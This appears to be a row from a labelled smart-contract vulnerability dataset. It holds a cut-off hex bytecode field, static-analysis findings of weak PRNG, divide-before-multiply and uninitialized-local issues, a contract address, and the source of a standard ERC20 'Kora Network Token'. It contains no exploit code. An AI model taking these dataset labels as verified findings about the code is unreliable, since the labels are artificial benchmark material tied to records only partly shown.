3ffffffffffffffffffffffffffffffffffffffff166108fc826cffffffffffffffffffffffffff169081150290604051600060405180830381858888f19350505050158015611e3e573d6000803e3d6000fd5b508160016000611e4c61329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600d8282829054906101000a90046cffffffffffffffffffffffffff160392506101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff160217905550611edf61329f565b73ffffffffffffffffffffffffffffffffffffffff167f856c55b6cf67476f4bb9cc061a925c2c8d658d4d70359758eafd2e5dfa53fe6c8360405180826cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16815260200191505060405180910390a2611f52611a24565b73ffffffffffffffffffffffffffffffffffffffff166108fc8284036cffffffffffffffffffffffffff169081150290604051600060405180830381858888f19350505050158015611fa8573d6000803e3d6000fd5b505050565b600060149054906101000a900460ff1615612030576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61203981613795565b612041612044565b50565b600060149054906101000a900460ff16156120c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b601160059054906101000a90046cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16600160006120fe61329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046cffffffffffffffffffffffffff166cffffffffffffffffffffffffff1610158061219b5750601160059054906101000a90046cffffffffffffffffffffffffff166cffffffffffffffffffffffffff163410155b6121f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614ef46021913960400191505060405180910390fd5b60006121fa61329f565b9050600060136014348161220a57fe5b04029050600080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601a9054906101000a900463ffffffff1663ffffffff1614159050612276612c6f565b8061240f576003600081819054906101000a900463ffffffff168092919060010191906101000a81548163ffffffff021916908363ffffffff16021790555050600360009054906101000a900463ffffffff16600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601a6101000a81548163ffffffff021916908363ffffffff16021790555060016201518064ffffffffff164264ffffffffff168161234557fe5b06420301600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600d6101000a81548164ffffffffff021916908364ffffffffff1602179055506002839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146124b6576124b5848285613eee565b5b81156124c6576124c5846134b9565b5b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046cffffffffffffffffffffffffff160192506101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff16021790555061255f611a24565b73ffffffffffffffffffffffffffffffffffffffff166108fc846cffffffffffffffffffffffffff1634039081150290604051600060405180830381858888f193505050501580156125b5573d6000803e3d6000fd5b508373ffffffffffffffffffffffffffffffffffffffff167f52f8a3c2ae630ebe40821664e4031c04513a0b6b1b7a14efa460c8efbaae600d8460405180826cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16815260200191505060405180910390a261262b8461415a565b612634846144f6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461270c5782600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008282829054906101000a90046cffffffffffffffffffffffffff160192506101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff1602179055506127028161415a565b61270b816144f6565b5b826cffffffffffffffffffffffffff16600360048282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555050505050565b6004816008811061278857fe5b016000915090508060000160009054906101000a90046cffffffffffffffffffffffffff169080600001600d9054906101000a900460ff169080600001600e9054906101000a90046cffffffffffffffffffffffffff169080600001601b9054906101000a900460ff169080600001601c9054906101000a900463ffffffff16905085565b60008061282061281b61329f565b614a60565b816cffffffffffffffffffffffffff169150915091509091565b600080600c80549050905060008090506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601e9054906101000a900460ff1660ff161115612b1d57600084830390505b8264ffffffffff168164ffffffffff161015612b1b576000600c8264ffffffffff16815481106128d957fe5b906000526020600020906002020160000160109054906101000a900463ffffffff1690506000600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601a9054906101000a900463ffffffff16820363ffffffff168263ffffffff16600c8564ffffffffff168154811061297557fe5b906000526020600020906002020160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16816129bc57fe5b040290506000809050600080905060008090505b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601e9054906101000a900460ff1660ff168160ff161015612b0457600060048260ff1660088110612a3f57fe5b01600001601b9054906101000a900460ff1660ff16620f4240866cffffffffffffffffffffffffff1681612a6f57fe5b04029050600c8764ffffffffff1681548110612a8757fe5b90600052602060002090600202016001018260ff1660088110612aa657fe5b600891828204019190066004029054906101000a900463ffffffff16925060008363ffffffff1614612af6578263ffffffff16816cffffffffffffffffffffffffff1681612af057fe5b04840193505b5080806001019150506129d0565b5081860195505050505080806001019150506128ad565b505b809250505092915050565b60606002805480602002602001604051908101604052809291908181526020018280548015612bac57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612b62575b5050505050905090565b6000806000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046cffffffffffffffffffffffffff1690506801a055690d9db80000816cffffffffffffffffffffffffff1610612c4157600f9150612c46565b600a91505b8160ff16612710826cffffffffffffffffffffffffff1681612c6457fe5b040292505050919050565b62015180601160009054906101000a900464ffffffffff160164ffffffffff16421115612c9f57612c9e614bdd565b5b565b612ca961329f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612d6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601160126101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff16021790555050565b612da861329f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601160056101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff16021790555050565b600080600090506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805490509050808201915060008090505b81811015612f9457612f83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018281548110612f5357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612e9f565b830192508080600101915050612efb565b508192505050919050565b612fa761329f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613068576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156130ee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614ece6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6131b461329f565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613275576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60125434111561328c57600060128190555061329d565b346012600082825403925050819055505b565b600033905090565b600060149054906101000a900460ff16613329576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b60008060146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61336c61329f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600060149054906101000a900460ff1615613432576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600060146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861347661329f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60006201518064ffffffffff16600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600d9054906101000a900464ffffffffff16420364ffffffffff168161352a57fe5b04905060018164ffffffffff161061379157600061354783612bb6565b90506000613555848461283a565b905060006135628561151b565b9050600061356f86610cd0565b9050600081838601019050838664ffffffffff16820201905080600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600d8282829054906101000a90046cffffffffffffffffffffffffff160192506101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff160217905550856201518002600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600d8282829054906101000a900464ffffffffff160192506101000a81548164ffffffffff021916908364ffffffffff1602179055508673ffffffffffffffffffffffffffffffffffffffff167f31b3e2d3303df45f4cc1ad0473de2b2b8050e7bdbdf2805e7441f1ac68d2ad57868587868b60405180866cffffffffffffffffffffffffff166cffffffffffffffffffffffffff168152602001856cffffffffffffffffffffffffff166cffffffffffffffffffffffffff168152602001846cffffffffffffffffffffffffff166cffffffffffffffffffffffffff168152602001836cffffffffffffffffffffffffff166cffffffffffffffffffffffffff1681526020018264ffffffffff1664ffffffffff1681526020019550505050505060405180910390a250505050505b5050565b8073ffffffffffffffffffffffffffffffffffffffff16600160006137b861329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561383757613eeb565b60006001600061384561329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601a9054906101000a900463ffffffff1663ffffffff161415801561395d5750600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601a9054906101000a900463ffffffff1663ffffffff166001600061390761329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601a9054906101000a900463ffffffff1663ffffffff16105b1561396757613eeb565b600073ffffffffffffffffffffffffffffffffffffffff166001600061398b61329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613a72576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f526566657265722063616e206f6e6c7920626520736574206f6e63650000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601a9054906101000a900463ffffffff1663ffffffff1611613b40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5265666572657220646f6573206e6f742065786973740000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16613b5f61329f565b73ffffffffffffffffffffffffffffffffffffffff161415613be9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e7420736574206f6e6573656c662061732072656665726572000000000081525060200191505060405180910390fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201613c3361329f565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060016000613ca061329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060016000613d2961329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046cffffffffffffffffffffffffff166cffffffffffffffffffffffffff161115613e895760016000613da161329f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046cffffffffffffffffffffffffff16600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008282829054906101000a90046cffffffffffffffffffffffffff160192506101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff1602179055505b613e9161329f565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f9d05414fb79fac216c15606de5cc06664e91a254e4d5f57664d5f1beaf7fb7ef60405160405180910390a35b50565b60008290506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601f9054906101000a900460ff1690505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015613f97575060006011601f9054906101000a900460ff1660ff16115b1561415357613fa5826134b9565b82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018260ff1660058110613ff657fe5b60029182820401919006600d028282829054906101000a90046cffffffffffffffffffffffffff160192506101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff1602179055506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601f9054906101000a900460ff1690508160ff168160ff1611156140b5578091505b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692506011601f81819054906101000a900460ff16809291906001900391906101000a81548160ff021916908360ff1602179055505050613f48565b5050505050565b6008600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601e9054906101000a900460ff1660ff1610156144f3576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601e9054906101000a900460ff1690506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a90046cffffffffffffffffffffffffff16905060048260ff166008811061427957fe5b0160000160009054906101000a90046cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046cffffffffffffffffffffffffff166cffffffffffffffffffffffffff1610158015614388575060048260ff166008811061432a57fe5b01600001600d9054906101000a900460ff1660ff16600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018054905010155b80156143df575060048260ff166008811061439f57fe5b01600001600e9054906101000a90046cffffffffffffffffffffffffff166cffffffffffffffffffffffffff16816cffffffffffffffffffffffffff1610155b156144f05760018201600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601e6101000a81548160ff021916908360ff16021790555060048260ff166008811061445257fe5b01600001601c81819054906101000a900463ffffffff168092919060010191906101000a81548163ffffffff021916908363ffffffff160217905550508273ffffffffffffffffffffffffffffffffffffffff167f60e1bbc5f71b269e8eea4974b783c669d335c399505e362c930a83010670a7bc60018401604051808260ff1660ff16815260200191505060405180910390a26144ef8361415a565b5b50505b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601f9054906101000a900460ff16905060048160ff161015614a5c57600d8160ff166004811061456657fe5b0160000160009054906101000a900463ffffffff1663ffffffff16600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601e9054906101000a900460ff1660ff1610614a5b5760018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601f8282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046cffffffffffffffffffffffffff16905060008090505b8260ff168160ff161161473f57600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018160ff166005811061470957fe5b60029182820401919006600d029054906101000a90046cffffffffffffffffffffffffff168201915080806001019150506146ac565b50600081905060006001840190506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146149aa5783600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016001840360ff166005811061483d57fe5b60029182820401919006600d028282829054906101000a90046cffffffffffffffffffffffffff160392506101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff16021790555082600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018360ff16600581106148e757fe5b60029182820401919006600d028282829054906101000a90046cffffffffffffffffffffffffff160192506101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff160217905550600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506147b5565b8573ffffffffffffffffffffffffffffffffffffffff167fcf2e211ce866f42c8c8dce1304596b0b929b1e58f9315782584468eac4a4eb13600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001601f9054906101000a900460ff16604051808260ff1660ff16815260200191505060405180910390a2614a56866144f6565b505050505b5b5050565b6000806060600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015614b2757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311614add575b50505050509050600080905060008090505b82518163ffffffff161015614bce5760016000848363ffffffff1681518110614b5e57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046cffffffffffffffffffffffffff16820191508080600101915050614b39565b50808251935093505050915091565b614be5614d9d565b60008090505b60088160ff161015614c4f5760048160ff1660088110614c0757fe5b01600001601c9054906101000a900463ffffffff16828260ff1660088110614c2b57fe5b602002019063ffffffff16908163ffffffff16815250508080600101915050614beb565b50600c6040518060600160405280600360049054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001600360009054906101000a900463ffffffff1663ffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548163ffffffff021916908363ffffffff160217905550604082015181600101906008614d5b929190614dc0565b50505062015180601160008282829054906101000a900464ffffffffff160192506101000a81548164ffffffffff021916908364ffffffffff16021790555050565b604051806101000160405280600890602082028036833780820191505090505090565b826008600701600890048101928215614e525791602002820160005b83821115614e2057835183826101000a81548163ffffffff021916908363ffffffff1602179055509260200192600401602081600301049283019260010302614ddc565b8015614e505782816101000a81549063ffffffff0219169055600401602081600301049283019260010302614e20565b505b509050614e5f9190614e63565b5090565b614e9391905b80821115614e8f57600081816101000a81549063ffffffff021916905550600101614e69565b5090565b9056fe4e6f7420656e6f756768207061796f757420617661696c61626c6520746f20636f766572207769746864726177616c20726571756573744f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d696e696e756d206465706f7369742076616c7565206e6f7420726561636865644d696e696d756d205769746864726177616c20616d6f756e74206e6f74206d6574a2646970667358221220c02c0d57033ae7d4f0330568182dbef8b35580a280dc89d7c0d6f1c67c5c3e5f64736f6c63430006080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,983 |
0xff5c25d2f40b47c4a37f989de933e26562ef0ac0
|
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract KNT is StandardToken {
string public constant name = "Kora Network Token";
string public constant symbol = "KNT";
uint32 public constant decimals = 16;
uint256 public INITIAL_SUPPLY = 712500000 * 10 ** 16;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
